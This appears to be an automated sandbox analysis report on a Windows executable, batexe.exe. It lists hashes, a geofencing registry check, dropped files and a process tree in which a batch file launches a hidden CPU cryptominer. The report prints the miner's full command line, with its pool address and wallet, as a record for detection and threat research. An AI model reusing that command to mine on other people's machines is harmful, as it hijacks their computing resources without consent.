73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 03:04

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1152	b2e.exe
2940	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2940	cpuminer-sse2.exe
2940	cpuminer-sse2.exe
2940	cpuminer-sse2.exe
2940	cpuminer-sse2.exe
2940	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2120-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 1152	2120	batexe.exe	84
PID 2120 wrote to memory of 1152	2120	batexe.exe	84
PID 2120 wrote to memory of 1152	2120	batexe.exe	84
PID 1152 wrote to memory of 3204	1152	b2e.exe	85
PID 1152 wrote to memory of 3204	1152	b2e.exe	85
PID 1152 wrote to memory of 3204	1152	b2e.exe	85
PID 3204 wrote to memory of 2940	3204	cmd.exe	88
PID 3204 wrote to memory of 2940	3204	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Users\Admin\AppData\Local\Temp\94FC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\94FC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\94FC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\98C5.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3204
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\94FC.tmp\b2e.exe

Filesize
30.1MB

MD5
3d574e76eeac85ce0487be7ab481ce95

SHA1
d636f7c5b695fa9dc7b6177b0d5134809633c676

SHA256
80d07f96c482d4bc37527e7699e01f77b9f9efe6d38b770da87ad1fc6f47741b

SHA512
d5f0e5224f6b344dd81b450c8caac7e7894a466edbaf9386b493edc373397b94fb23da18fa62bdf2cdcc129549ee09d78b70fca8c54eb01cc41e321b039de014

Download Submit
C:\Users\Admin\AppData\Local\Temp\94FC.tmp\b2e.exe

Filesize
10.2MB

MD5
bf75179a6864d117bff48721d5112161

SHA1
09746479dd694ef3a8a64bfce29a1cf64e66cd46

SHA256
4306361ac801f06d054867e4960303faef4f335809d18986e65337169ce36c33

SHA512
8d6e1514e67f866f17289b7b88cae8b08f34a60c95590aa699ed9eea0f14542f041015778d817683d5208badc73064965a9912e84c80372e9432f64dd20aecdc

Download Submit
C:\Users\Admin\AppData\Local\Temp\94FC.tmp\b2e.exe

Filesize
10.5MB

MD5
a13188631e2d4d71e500f262fecef794

SHA1
50d6e9df03ad0e24987c0e905cef8960748b3ab1

SHA256
a63ab6fe052ff309913a612c7ee636090e4bf6f6b2d776e7539d48c24481ff31

SHA512
db73f370fd90e9390802fb7546caba311cfec9d3a74c9f028d19e5717dbb5b1cb2f16954040b35097b3888c0df1f9968e5fe0d53589f0708cea3cf685286784e

Download Submit
C:\Users\Admin\AppData\Local\Temp\98C5.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.4MB

MD5
d40542cd356bd631806e3960d27ee75e

SHA1
2d7985a97d42c428aa9b5e9086637c78765c7a57

SHA256
8cd4b461a5d0ae526f7c0b463b81d6914e2667d2ce85e4f426fe8779b1928927

SHA512
d1c257e00ad919ec0076fa862fb1cf6c015d7db2258322f9d285800545da8d71ae15916a664472526aaed01e4bef471abe3549f509f8e239f9d36851fefc40bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
51472293940e7ef58ee53551ca9c153f

SHA1
1f81d909a5bc2a47508bdb4d66fd8951aa0f9987

SHA256
0387802bd378302dbea523d1bbf219f2da6d54953e78102554b1debae8306822

SHA512
c39213336c675eee66e5512a037041512de6bef89f9f9f60bb26ba54ef3cec81f26bf3016aa4a45962fb12d59ca5234b785d3a8b015165ffb87a36c4c25f4255

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
a1376a9113752892bac5102f08797494

SHA1
a986b9c91f9b1a442812b843f5fc85c63a819e01

SHA256
640b86407380c7fbea00aa0531dab87d2cda0742c668fc22ca3e535c796213f7

SHA512
f7848a12fad8dbe974a2b68c8ec6e76d7c89ab2b61a4a4610595ebf239b4c542cc84fb4215d89db9f4b217b7304084762e5f74521d6367e207ce6af27f4f7ef8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1152-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1152-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2120-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2940-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2940-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2940-47-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/2940-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-45-0x00000000569B0000-0x0000000056A48000-memory.dmp

Filesize
608KB

Download
memory/2940-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download